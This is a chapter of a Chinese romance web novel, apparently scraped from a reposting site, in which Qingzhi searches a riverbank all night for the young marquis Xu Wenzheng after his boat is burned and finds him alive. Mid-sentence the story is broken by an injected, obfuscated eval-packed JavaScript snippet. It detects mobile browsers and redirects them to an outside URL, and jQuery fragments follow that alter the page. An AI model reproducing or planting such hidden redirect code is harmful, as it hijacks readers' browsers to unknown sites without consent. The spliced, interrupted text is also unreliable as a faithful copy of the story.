江水滔滔,船上的客人三三两两聚在一起闲聊,虽听着都是些新鲜事,清枝却提不起劲儿。
她时不时地抬眼望一眼江面。
水波粼粼,岸边鸟鸣声不断,倒比船上的人声还要热闹几分。
卖货郎见清枝眉头轻皱,似乎被什么烦心事扰了心绪,于是递给清枝一个果子,清枝点头谢过,却始终未送到唇边。
卖货郎以为清枝是嫌果子不干净,忙解释道,“洗过的,可以吃。”
清枝见卖货郎小心翼翼地看着她,于是小小地咬了一口。
没想到果肉脆生生的,汁水溢出来满口香甜,竟比预想的还要好吃。
见清枝尝了果子,眉间的郁色终于舒展开,卖货郎眼角的笑纹也愈发深了些。他拎起箩筐退到一边,蹲下身子开始拾掇框里的果子,检查得极为仔细,粗糙的手掌拂过每一个果子,将摔坏的捡到一旁时,脸上满是心疼。
申时,船在严州的码头靠了岸,船板刚搭稳,船客们便涌下船去,清枝跟着卖货郎,被身后的船客推着下了船。
码头上人声鼎沸,喧嚣如潮。小贩们此起彼伏的吆喝声随着江风飘荡,挑夫们早已挽起袖子,在人群中穿梭揽活。
“老爷可有行李要挑?给三文钱就成!”
“新出炉的炊饼,芝麻馅儿的!姑娘可要尝一尝?”
炊饼摊的老板娘话音刚落,一个客栈伙计上前两步,对着清枝笑道,“姑娘住店吗?四十文钱便可住上等雅间,被褥都是新晒的,保准你住得舒坦!”
清枝摆摆手,低声说道,“不用了。”
那客栈伙计见这头生意不成,也不纠缠,麻利地转身扎进旁边的人堆里,继续招揽生意。
清枝和卖货郎道了别,在路边的小摊上要了一碗杂粮粥和两个馒头。今日她米粒未沾,此时早已饥肠辘辘。
抬眼见一团白乎乎的云朵凝滞不动,边缘被阳光镶出一道金边。江鸥在河面上划过一道道痕迹,翅膀的影子在粼波间一闪,便匆匆消散了。
她想着,严州城这般大,人海茫茫,该往何处去寻小侯爷他们的踪迹?又或者他们并未在此歇脚,直接雇船去了岭南……
这时,小摊上来了几个船夫,一坐下便招呼店家要了几碗茶水和一碟瓜子。
“王老四那艘船,烧得怕是连渣都不剩了。”灰衣汉子吐出嘴里的瓜壳,摇头叹息道。
“啊!咋回事?”众人震惊,纷纷问道,“怎闹出这么大的动静?”
灰衣汉子压低了嗓子,“听说是仇家追到船上杀人,那火光啊,五里外都能瞧见。”
见众人脸上露出惊惧,灰衣汉子继续说道,“幸好王老四见势不妙投了江,被相熟的渔夫救了上来,不然连他也得去见阎王。”
“啧啧啧……”摊主此时也凑上来,摇头叹息道,“可惜他那条船喽,跟了他二十年。”
灰衣汉子又给自己倒上一碗茶水,轻声说道,“能保住这条命已是万幸,船没了再买便是。”
“哦,对了,那船上听说还有一个罪犯。”
众人惊呼,“莫不是要杀人灭口!”
“嘘嘘!”灰衣汉子脸色一沉,“这岂是能讲的?莫不要惹祸上身。”
众人点头,话题便转向了别处。
清枝听着脊背发寒,脸色倏地煞白,慌忙将馒头塞进包袱,铜钱往桌上一放,起身出了小摊。
她一路小跑至码头想雇条船,没想到众船家一听,纷纷摆手。
“姑娘,今儿这生意真做不得。”
一个老船夫见她孤身一人,脸上满上焦急,终是忍不住多了句嘴,“晌午刚有艘船在江心遇上了歹人,烧得整条船都散架了咧。”
说着他朝茶棚努努嘴,“那位就是逃回来的船老大,你要不信,可以亲自去问问。”
清枝心口忽地猛跳起来,提着裙子便奔向茶棚。
“老人家,我想问问。”清枝气息还未喘匀便急急开口,“今日您船上可载过两位官差,和一个约莫十五六岁的少年郎?
船老大眯着眼打量她:“是有这么三位,姑娘认得?”
她点头如捣蒜,脸上的急切和担心更甚。
船老大摇摇头,“那一段水流湍急,又遇上仇人追杀,船都烧没了,怕是凶多吉少喽。”
清枝只觉天旋地转,心脏似被一只无形大手狠狠抓住,每喘一口气都如钝刀割肉般的疼。
“不会的,不会的,小侯爷不会死的。”清枝自言自语道,“他一定还活着。”
她魂不守舍地回到码头,老船夫见她折返回来,说道,“我没骗你吧,今日确实走不了。”
清枝的下唇被咬得发白,低头从袖袋中掏出一粒碎银,“老伯,您带我去出事的地方看一眼就成。”
老船夫盯着银子沉默半响,终是松了口,“咱们可说好,只远远瞧一眼便回来!”
清枝赶忙点头。
老船夫撑着竹竿划入水道,清枝的眼睛始终盯着前方,周围的一切仿佛失声一般。
“姑娘……”老船夫忽然开口,“那船上,可有你的亲人?”
清枝嘴巴动了动,却没了力气一般,只轻轻点了下头。
“太阳下山前咱们就得折返,不然就回不去了。”老船夫望着渐沉的日头,竹竿在水里划出长长的痕迹。
“老伯,还有多久能到?”清枝冷不丁地开口,声音透着急切。
老船夫一手撑着船,一手指着前面翠屏似的小孤山,“快了,绕过这座山便是。”
此时河水越发湍急,浪头开始拍打船身。清枝只觉脚下不稳,身体不受控制地左右摇晃,急忙抓住船舷才勉强稳住身形。
老船夫劝道,“姑娘,此段水流湍急,你先去船内避避。”
清枝的十指死死抠住船舷,轻轻摇了摇头,她指节泛白,眼睛却紧紧盯着前方。
不多时,船身终于平缓了些,船家说道,“就是这儿了。”
她被眼前的空阔刺痛了双眼,唇瓣无意识地轻颤着,苍白的脸上血色尽褪,指尖掐进掌心,却浑然不觉着疼。
船体竟连半片残骸都寻不见了……
“姑娘,咱们要回去了。”
船家见她不应,闷声不吭地往前撑了半里的水路,在一处水流平缓处调转了船头,开始悬挂船帆。
“老伯,今日多谢您了。” 清枝忽然开口,声音轻得几乎要被江风吹散,“您且先回吧,我想留在此处。”
船家一惊,“你年纪轻轻,可不要干傻事!”
清枝缓缓摇头,她盯着江水一脸平静,“我想再找找。”
小侯爷一定没死。
她要去找他。
老船家挂好船帆,继续劝道,“人死不能复生,这日子再苦,总是要过的。”
清枝眼看船要往回,手掌一撑,抬脚便要跨出船舷,惊得老船夫连连跺脚,“我应你,我应你便是!小小年纪,咋这般轴!”
说着他赶紧将船靠岸,“入了夜这附近可就没有船了,你可想过如何回去?”
清枝并未接话,下船之后朝着老船夫行了一礼,“谢过老伯。”
“罢了,我也劝不住你。”他指了指前方那座山,“那山后头有一片滩涂,你可以去那处寻一寻。”
清枝微微颔首,转身便朝着那处去了。
船家撑着竹竿,盯着清枝逐渐渺小的身影,终是叹了一口气,“造孽啊!”
他没告诉清枝,但凡在那处寻着的,都是断了气漂至那处搁浅的。
直到清枝的身影彻底隐入山林中,他才撑着竹竿,又重重地叹了一口气,将船缓缓划向河心。
清枝紧了紧肩头的包袱,眼睛一瞬不瞬地盯着那座山,仿佛稍一眨眼,那山便会凭空消失似的。
岸边碎石嶙峋,尖锐的棱角硌得脚底生疼,有几处更是陡峭难行,需得手脚并用才能攀过。
她心里默念着,小侯爷,我来寻你了。
太阳下了山,两岸的风凉得刺骨。她寻到一根粗壮的枯枝,掏出火折子引燃,举着火把继续前行。
突然她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499593|170276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一脚踩进水坑,小腿骤然冰凉,似有活物附在上头。她将火把往腿上一扫,居然有几只黏糊糊的山蚂蝗正在吸她的血。
她当即从发间拔下银簪,就着簪尾抵住蚂蟥的吸盘,轻轻一撬,那饱胀的虫身便滚落在地。然后取下包袱拿出伤药,往伤口上一倒,见血止住了又继续前行。
……
徐闻铮仰躺在嶙峋的碎石滩上,背后尖锐的石棱硌进皮肉,如烙铁般灼烧着每一寸相贴的肌肤。
他眼前忽然浮现八岁那年的冬节宫宴,宫女失手打翻的热汤撒在了他的锦衣上,更衣途中被人推下水塘。
多年梦魇,竟在此刻重现。
这江水,竟比记忆里的水塘还要冷上三分。
他连抬指的力气都没了,只能睁着眼,看着日头一寸寸往西山坠去。
张捕头瘫在他身侧,面色灰败如纸,只胸口还有丝微弱起伏。
两人如两具残破的躯壳,连呼吸都显得疲累,谁也挤不出半句话来。
徐闻铮眼前的光景渐渐模糊起来,头颅似有千钧重,仿佛已不是自己的了。
他暗想,看来真要命丧于此了。
望着逐渐暗沉的天穹,他竟低低笑出了声,那笑声散在风里瞬间支离破碎。
记忆如走马灯般在眼前转过,恍惚间又见祖母倚在朱漆廊下,举着糖块逗他:“怎会有小孩不喜甜食?”
他抿着嘴摇头。
祖母的叹息混着檀香,抬手抚上了徐闻铮稚嫩的脸颊,“连糖都不肯沾的孩子,命里的甜头便要比常人少上一份。”
祖母的眼里满是疼惜,“我家铮儿啊,真是个小苦瓜。”
他又想起那个瘦弱的身影。她脸上的笑如八月朝阳,明晃晃的热烈,递给自己灌了蜜浆的水壶,歪着头问他,“甜吗?”
……
往事如潮水翻涌,将他拖往意识最模糊的深渊。
斗转星移,月落日升,这一夜竟比他这十五年的人生还要漫长。
“小侯爷!”
清枝?
徐闻铮的脖颈像是生了锈一般,每转动一分都牵扯出撕扯的剧痛。他咬紧牙关,喉间溢出半声闷哼,终于将头偏过三寸。他强撑着眼皮望去,眼前却是雾蒙蒙一片,仿佛刚才的那声呼唤是自己的错觉。
没想到死前最后一刻,他听见的竟是清枝的声音。
他想,她的余生定会安稳顺遂。
忽地想起清枝送给自己的发带,本能地想抬手触碰,臂膀却如灌了铅一般。
最后只能无奈笑笑。
“小侯爷!”
这声音颤巍巍地荡在风里,带着哭腔和喜极而泣。
恍惚间,他似乎真的看见那个瘦小的身影,跌跌撞撞地朝着自己奔来。
清枝一路寻来,脚上的布鞋早已磨破,碎石划在脚底,疼得她直打颤,可她不敢停下步子。
她不停地在心里默念道,小侯爷还在等着她。
她不知这碎石滩究竟有多长,也不知要走到何时才能寻见他。
她只知自己不能停下。
脚下的每一步仿佛都成了执念,她告诉自己,再走一步,或许再走一步就能看见他。
就这样,她行了一夜。
山上偶尔会传来几声野兽的嚎叫,身后的风如鬼魅般在自己耳边低语。
残月西坠,东边山脊线突然迸出一线金芒。
天亮了。
清枝嘴角干裂,脚步虚浮,仿佛就剩一口气在支撑着她前行。
直到她看见了那个仰面躺在滩涂上,一动不动的身影。
一个骇人的念头倏地钻入她脑中,她嘶哑的声音带着颤抖,“小侯爷!”
只见那人缓缓转头看向她。
她强压了一路的眼泪终于奔涌而出,不听使唤地,啪啦啪啦直往下掉,似乎要将此生的泪水哭尽!
她跌跌撞撞地朝他奔去!
她的小侯爷还活着!
她的小侯爷还活着!
她还有家!
……